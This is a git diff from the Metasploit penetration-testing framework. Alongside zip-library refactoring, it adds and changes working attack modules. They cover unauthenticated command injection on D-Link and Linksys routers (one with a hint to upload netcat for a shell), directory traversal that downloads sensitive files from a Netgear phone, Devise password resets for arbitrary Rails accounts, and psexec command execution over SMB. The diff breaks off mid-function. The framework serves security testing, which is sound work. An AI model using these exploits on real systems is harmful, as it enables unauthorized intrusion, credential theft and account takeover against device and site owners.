a/lib/rkelly/visitors/evaluation_visitor.rb +++ b/lib/rkelly/visitors/evaluation_visitor.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module RKelly module Visitors class EvaluationVisitor < Visitor diff --git a/lib/zip/zip.rb b/lib/zip/zip.rb index bb212f613d..096b3dfca3 100755 --- a/lib/zip/zip.rb +++ b/lib/zip/zip.rb @@ -1,6 +1,11 @@ # encoding: ASCII-8BIT require 'delegate' -require 'iconv' + +begin + require 'iconv' +rescue ::LoadError +end + require 'singleton' require 'tempfile' require 'fileutils' @@ -140,15 +145,13 @@ module Zip def open_entry @currentEntry = ZipEntry.read_local_entry(@archiveIO) if (@currentEntry == nil) - @decompressor = NullDecompressor.instance + @decompressor = NullDecompressor.instance elsif @currentEntry.compression_method == ZipEntry::STORED - @decompressor = PassThruDecompressor.new(@archiveIO, - @currentEntry.size) + @decompressor = PassThruDecompressor.new(@archiveIO, @currentEntry.size) elsif @currentEntry.compression_method == ZipEntry::DEFLATED - @decompressor = Inflater.new(@archiveIO) + @decompressor = Inflater.new(@archiveIO) else - raise ZipCompressionMethodError, - "Unsupported compression method #{@currentEntry.compression_method}" + raise ZipCompressionMethodError, "Unsupported compression method #{@currentEntry.compression_method}" end flush return @currentEntry @@ -184,8 +187,8 @@ module Zip def sysread(numberOfBytes = nil, buf = nil) readEverything = (numberOfBytes == nil) while (readEverything || @outputBuffer.length < numberOfBytes) - break if internal_input_finished? - @outputBuffer << internal_produce_input(buf) + break if internal_input_finished? + @outputBuffer << internal_produce_input(buf) end return value_when_finished if @outputBuffer.length==0 && input_finished? endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes @@ -194,9 +197,9 @@ module Zip def produce_input if (@outputBuffer.empty?) - return internal_produce_input + return internal_produce_input else - return @outputBuffer.slice!(0...(@outputBuffer.length)) + return @outputBuffer.slice!(0...(@outputBuffer.length)) end end @@ -244,14 +247,14 @@ module Zip # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? def sysread(numberOfBytes = nil, buf = nil) if input_finished? - hasReturnedEmptyStringVal=@hasReturnedEmptyString - @hasReturnedEmptyString=true - return "" unless hasReturnedEmptyStringVal - return nil + hasReturnedEmptyStringVal=@hasReturnedEmptyString + @hasReturnedEmptyString=true + return "" unless hasReturnedEmptyStringVal + return nil end if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead) - numberOfBytes = @charsToRead-@readSoFar + numberOfBytes = @charsToRead-@readSoFar end @readSoFar += numberOfBytes @inputStream.read(numberOfBytes, buf) @@ -356,14 +359,28 @@ module Zip (@gp_flags & 0b100000000000) != 0 ? "utf8" : "CP437//" end - # Returns the name in the encoding specified by enc - def name_in(enc) - Iconv.conv(enc, name_encoding, @name) + + # Converts string encoding + def encode_string(str, src, dst) + if str.respond_to?(:encode) + str.encode(dst, { :invalid => :replace, :undef => :replace, :replace => '' }) + else + begin + Iconv.conv(dst, src, str) + rescue + raise ::RuntimeError, "Your installation does not support iconv (needed for utf8 conversion)" + end + end end # Returns the name in the encoding specified by enc + def name_in(enc) + encode_string(@name, name_encoding, enc) + end + + # Returns the comment in the encoding specified by enc def comment_in(enc) - Iconv.conv(enc, name_encoding, @name) + encode_string(@comment, name_encoding, enc) end def initialize(zipfile = "", name = "", comment = "", extra = "", @@ -372,7 +389,7 @@ module Zip time = Time.now) super() if name.starts_with("/") - raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /" + raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /" end @localHeaderOffset = 0 @local_header_size = 0 @@ -484,9 +501,9 @@ module Zip onExistsProc ||= proc { false } if directory? - create_directory(destPath, &onExistsProc) + create_directory(destPath, &onExistsProc) elsif file? - write_file(destPath, &onExistsProc) + write_file(destPath, &onExistsProc) elsif symlink? create_symlink(destPath, &onExistsProc) else @@ -520,24 +537,24 @@ module Zip @localHeaderOffset = io.tell staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH) unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH) - raise ZipError, "Premature end of file. Not enough data for zip entry local header" + raise ZipError, "Premature end of file. Not enough data for zip entry local header" end @header_signature , - @version , - @fstype , - @gp_flags , - @compression_method, - lastModTime , - lastModDate , - @crc , - @compressed_size , - @size , - nameLength , - extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv') + @version , + @fstype , + @gp_flags , + @compression_method, + lastModTime , + lastModDate , + @crc , + @compressed_size , + @size , + nameLength , + extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv') unless (@header_signature == LOCAL_ENTRY_SIGNATURE) - raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" + raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" end set_time(lastModDate, lastModTime) @@ -546,7 +563,7 @@ module Zip extra = io.read(extraLength) if (extra && extra.length != extraLength) - raise ZipError, "Truncated local zip entry header" + raise ZipError, "Truncated local zip entry header" else if ZipExtraField === @extra @extra.merge(extra) @@ -569,17 +586,17 @@ module Zip @localHeaderOffset = io.tell io << - [LOCAL_ENTRY_SIGNATURE , - VERSION_NEEDED_TO_EXTRACT , # version needed to extract - 0 , # @gp_flags , - @compression_method , - @time.to_binary_dos_time , # @lastModTime , - @time.to_binary_dos_date , # @lastModDate , - @crc , - @compressed_size , - @size , - @name ? @name.length : 0, - @extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv') + [LOCAL_ENTRY_SIGNATURE , + VERSION_NEEDED_TO_EXTRACT , # version needed to extract + 0 , # @gp_flags , + @compression_method , + @time.to_binary_dos_time , # @lastModTime , + @time.to_binary_dos_date , # @lastModDate , + @crc , + @compressed_size , + @size , + @name ? @name.length : 0, + @extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv') io << @name io << (@extra ? @extra.to_local_bin : "") end @@ -590,33 +607,33 @@ module Zip def read_c_dir_entry(io) #:nodoc:all staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH) unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH) - raise ZipError, "Premature end of file. Not enough data for zip cdir entry header" + raise ZipError, "Premature end of file. Not enough data for zip cdir entry header" end @header_signature , - @version , # version of encoding software - @fstype , # filesystem type - @versionNeededToExtract, - @gp_flags , - @compression_method , - lastModTime , - lastModDate , - @crc , - @compressed_size , - @size , - nameLength , - extraLength , - commentLength , - diskNumberStart , - @internalFileAttributes, - @externalFileAttributes, - @localHeaderOffset , - @name , - @extra , - @comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV') + @version , # version of encoding software + @fstype , # filesystem type + @versionNeededToExtract, + @gp_flags , + @compression_method , + lastModTime , + lastModDate , + @crc , + @compressed_size , + @size , + nameLength , + extraLength , + commentLength , + diskNumberStart , + @internalFileAttributes, + @externalFileAttributes, + @localHeaderOffset , + @name , + @extra , + @comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV') unless (@header_signature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE) - raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" + raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" end set_time(lastModDate, lastModTime) @@ -628,7 +645,7 @@ module Zip end @comment = io.read(commentLength) unless (@comment && @comment.length == commentLength) - raise ZipError, "Truncated cdir zip entry header" + raise ZipError, "Truncated cdir zip entry header" end case @fstype diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb new file mode 100644 index 0000000000..87d1f45192 --- /dev/null +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -0,0 +1,75 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution', + 'Description' => %q{ + This module exploits an OS Command Injection vulnerability in some D-Link + Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in + command.php, which is accessible without authentication. This module has been + tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. + In order to get a remote shell the telnetd could be started without any + authentication. + }, + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '89861' ], + [ 'EDB', '24453' ], + [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], + [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 04 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd']) + ], self.class) + end + + def run + uri = '/command.php' + + print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) + + data_cmd = "cmd=#{datastore['CMD']}; echo end" + + begin + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'data' => data_cmd + }) + return if res.nil? + return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) + return if res.code == 404 + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return + end + + if res.body.include?("end") + print_good("#{rhost}:#{rport} - Exploited successfully\n") + print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") + print_line("#{rhost}:#{rport} - Output: #{res.body}") + else + print_error("#{rhost}:#{rport} - Exploit failed.") + end + end +end diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb index d900abe8e7..0e051223a7 100644 --- a/modules/auxiliary/admin/http/iis_auth_bypass.rb +++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => dir, 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" + 'authorization' => basic_auth(user,pass) }) vprint_status(res.body) if res diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 12934c9a0e..fb32e1f41c 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri'=> uri, 'method'=>'GET', - 'basic_auth' => "#{Rex::Text.rand_text_alpha(127)}:#{datastore['PASSWORD']}" + 'authorization' => basic_auth(Rex::Text.rand_text_alpha(127),datastore['PASSWORD']) }) if res.nil? @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method'=> 'GET', - 'basic_auth' => "admin:#{datastore['PASSWORD']}" + 'authorization' => basic_auth('admin', datastore['PASSWORD']) }) if not res diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index ea37ca8e21..2adf4bb5e8 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -20,13 +20,12 @@ class Metasploit3 < Msf::Auxiliary of the application. Default credentials are always a good starting point. admin/admin or admin and blank password could be a first try. - Note: This is a blind os command injection vulnerability. This means that + Note: This is a blind OS command injection vulnerability. This means that you will not see any output of your command. Try a ping command to your - local system for a first test. + local system and observe the packets with tcpdump (or equivalent) for a first test. Hint: To get a remote shell you could upload a netcat binary and exec it. - WARNING: Backup your network and dhcp configuration. We will overwrite it! - Have phun + WARNING: this module will overwrite network and DHCP configuration. }, 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE, @@ -50,13 +49,23 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PASSWORD',[ false, 'Password to login with', 'password']), OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), - OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']), + OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']), OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']) ], self.class) end + # If the user configured LANIP, use it. Otherwise, use RHOST. + # NB: This presumes a dotted quad ip address. + def lan_ip + if datastore['LANIP'].to_s.empty? + datastore['RHOST'] + else + datastore['LANIP'] + end + end + def run #setting up some basic variables uri = datastore['TARGETURI'] @@ -67,13 +76,7 @@ class Metasploit3 < Msf::Auxiliary wandomain = datastore['WAN_DOMAIN'] wanmtu = datastore['WAN_MTU'] - if datastore['LANIP'] !~ /1.1.1.1/ - #there is a configuration from the user so we use LANIP for the router configuration - ip = datastore['LANIP'].split('.') - else - #no configuration from user so we use RHOST for the router configuration - ip = rhost.split('.') - end + ip = lan_ip.split('.') if datastore['PASSWORD'].nil? pass = "" @@ -87,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" + 'authorization' => basic_auth(user,pass) }) unless (res.kind_of? Rex::Proto::Http::Response) @@ -133,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', - 'basic_auth' => "#{pass}:#{pass}", + 'authorization' => basic_auth(user,pass), #'data' => data_cmd, 'vars_post' => { diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb new file mode 100644 index 0000000000..909afe5443 --- /dev/null +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Netgear SPH200D Directory Traversal Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal vulnerablity which is present in + Netgear SPH200D Skype telephone. + }, + 'References' => + [ + [ 'BID', '57660' ], + [ 'EDB', '24441' ], + [ 'URL', 'http://support.netgear.com/product/SPH200D' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ] + ], + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + Opt::RPORT(80), + OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", + File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']) + ], self.class) + end + + def extract_words(wordfile) + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read + end + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array + end + + #traversal every file + def find_files(file,user,pass) + traversal = '/../../' + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(traversal, file), + 'authorization' => basic_auth(user,pass) + }) + + if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/ + print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}") + report_web_vuln({ + :host => rhost, + :port => rport, + :vhost => datastore['VHOST'], + :path => "/", + :pname => normalize_uri(traversal, file), + :risk => 3, + :proof => normalize_uri(traversal, file), + :name => self.fullname, + :category => "web", + :method => "GET" + }) + + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) + vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") + elsif res and res.code + vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}") + end + end + + def run_host(ip) + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") + + #test login + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) + + return :abort if res.nil? + return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/) + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") + else + vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + return :abort + end + + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return :abort + end + + extract_words(datastore['FILELIST']).each do |file| + find_files(file,user,pass) unless file.empty? + end + end +end diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb new file mode 100644 index 0000000000..e301b59c2b --- /dev/null +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -0,0 +1,167 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rexml/element' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ruby on Rails Devise Authentication Password Reset', + 'Description' => %q{ + The Devise authentication gem for Ruby on Rails is vulnerable + to a password reset exploit leveraging type confusion. By submitting XML + to rails, we can influence the type used for the reset_password_token + parameter. This allows for resetting passwords of arbitrary accounts, + knowing only the associated email address. + + This module defaults to the most common devise URIs and response values, + but these may require adjustment for implementations which customize them. + + Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database + except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails + 3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation + of this vulnerability, by quoting numeric values when comparing them with + non numeric values. + }, + 'Author' => + [ + 'joernchen', #original discovery and disclosure + 'jjarmoc' #metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-0233'], + [ 'OSVDB', '89642' ], + [ 'BID', '57577' ], + [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], + [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], + [ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ], + [ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8'] + ], + 'DisclosureDate' => 'Jan 28 2013' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']), + OptString.new('TARGETEMAIL', [true, 'The email address of target account']), + OptString.new('PASSWORD', [true, 'The password to set']), + OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), + OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10]) + ], self.class) + end + + def generate_token(account) + # CSRF token from GET "/users/password/new" isn't actually validated it seems. + + postdata="user[email]=#{account}" + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'POST', + 'data' => postdata, + }) + + unless res + print_error("No response from server") + return false + end + + if res.code == 200 + error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] + print_error("Server returned error") + vprint_error(error_text) + return false + end + + return true + end + + def clear_tokens() + count = 0 + status = true + until (status == false) do + status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5)) + count += 1 if status + end + vprint_status("Cleared #{count} tokens") + end + + def reset_one(password, report=false) + + (0..datastore['MAXINT']).each{ |int_to_try| + encode_pass = REXML::Text.new(password).to_s + + xml = "" + xml << "" + xml << "#{encode_pass}" + xml << "#{encode_pass}" + xml << "#{int_to_try}" + xml << "" + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'PUT', + 'ctype' => 'application/xml', + 'data' => xml, + }) + + unless res + print_error("No response from server") + return false + end + + case res.code + when 200 + # Failure, grab the error text + # May need to tweak this for some apps... + error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] + if (report) && (error_text !~ /token/) + print_error("Server returned error") + vprint_error(error_text) + return false + end + when 302 + #Success! + return true + else + print_error("ERROR: received code #{res.code}") + return false + end + } + + print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report + return false + + end + + def run + # Clear outstanding reset tokens, helps ensure we hit the intended account. + print_status("Clearing existing tokens...") + clear_tokens() if datastore['FLUSHTOKENS'] + + # Generate a token for our account + print_status("Generating reset token for #{datastore['TARGETEMAIL']}...") + status = generate_token(datastore['TARGETEMAIL']) + if status == false + print_error("Failed to generate reset token") + return + end + print_good("Reset token generated successfully") + + # Reset a password. We're racing users creating other reset tokens. + # If we didn't flush, we'll reset the account with the lowest ID that has a token. + print_status("Resetting password to \"#{datastore['PASSWORD']}\"...") + status = reset_one(datastore['PASSWORD'], true) + status ? print_good("Password reset worked successfully") : print_error("Failed to reset password") + end +end \ No newline at end of file diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index 25af468599..465e0ed78a 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -96,7 +96,9 @@ class Metasploit4 < Msf::Auxiliary juhash = Digest::MD5.hexdigest(juarray) juhash = juhash[0..9] # shortMD5 value for use as juhash - file_uri = "#{uri}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" + uri_base_path = normalize_uri(uri, '/index.php') + + file_uri = "#{uri_base_path}?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" vprint_status("Checking Encryption Key [#{i}/1000]: #{final}") begin diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index eb8924aea7..03405ccf57 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb index b6c9dba312..39fc16fbec 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index cbd59484ba..50d7948ed0 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' require 'rex/proto/natpmp' diff --git a/modules/auxiliary/admin/scada/modicon_command.rb b/modules/auxiliary/admin/scada/modicon_command.rb index 6881b15080..7ab4303d68 100644 --- a/modules/auxiliary/admin/scada/modicon_command.rb +++ b/modules/auxiliary/admin/scada/modicon_command.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb index dbbda3a618..b1908ad439 100644 --- a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb +++ b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 1bc21c97c3..7ca4152343 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -1,15 +1,18 @@ -#!/usr/bin/env ruby +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## require 'msf/core' class Metasploit3 < Msf::Auxiliary - # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner - include Msf::Exploit::Remote::DCERPC # Aliases for common classes SIMPLE = Rex::Proto::SMB::SimpleClient @@ -28,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'Royce @R3dy__ Davis ', + 'Royce Davis @R3dy__ ', ], 'License' => MSF_LICENSE, @@ -58,213 +61,72 @@ class Metasploit3 < Msf::Auxiliary # This is the main controle method def run_host(ip) text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt" - bat = "%WINDIR%\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" - smbshare = datastore['SMBSHARE'] + bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" + @smbshare = datastore['SMBSHARE'] + @ip = ip - #Try and authenticate with given credentials + # Try and authenticate with given credentials if connect begin smb_login - rescue StandardError => autherror + rescue Rex::Proto::SMB::Exceptions::Error => autherror print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") return end - if execute_command(ip, text, bat) - get_output(smbshare, ip, text) + if execute_command(text, bat) + get_output(text) end - cleanup_after(smbshare, ip, text, bat) + cleanup_after(text, bat) disconnect end end # Executes specified Windows Command - def execute_command(ip, text, bat) + def execute_command(text, bat) + # Try and execute the provided command + execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" + print_status("#{peer} - Executing the command...") begin - #Try and execute the provided command - execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}" - print_status("#{peer} - Executing the command...") return psexec(execute) - rescue StandardError => exec_command_error + rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error print_error("#{peer} - Unable to execute specified command: #{exec_command_error}") return false end end # Retrive output from command - def get_output(smbshare, ip, file) - begin - print_status("#{peer} - Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - if output.empty? - print_status("#{peer} - Command finished with no output") - return - end - print_good("#{peer} - Command completed successfuly! Output:\r\n#{output}") - return - rescue StandardError => output_error - print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.") + def get_output(file) + print_status("#{peer} - Getting the command output...") + output = smb_read_file(@smbshare, @ip, file) + if output.nil? + print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.") return end + if output.empty? + print_status("#{peer} - Command finished with no output") + return + end + print_good("#{peer} - Command completed successfuly! Output:") + print_line("#{output}") end - # This is the cleanup method, removes .txt and .bat file/s created during execution- - def cleanup_after(smbshare, ip, text, bat) - begin - # Try and do cleanup command - cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}" - print_status("#{peer} - Executing cleanup...") - psexec(cleanup) - if !check_cleanup(smbshare, ip, text) - print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{text} and #{bat} from the target.") - else - print_status("#{peer} - Cleanup was successful") + # Removes files created during execution. + def cleanup_after(*files) + simple.connect("\\\\#{@ip}\\#{@smbshare}") + print_status("#{peer} - Executing cleanup...") + files.each do |file| + begin + smb_file_rm(file) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror + print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}") end - rescue StandardError => cleanuperror - print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}") - print_error("#{peer} - Maybe you'll need to manually remove #{text} and #{bat} from the target") - return cleanuperror end - end - - def check_cleanup(smbshare, ip, text) - 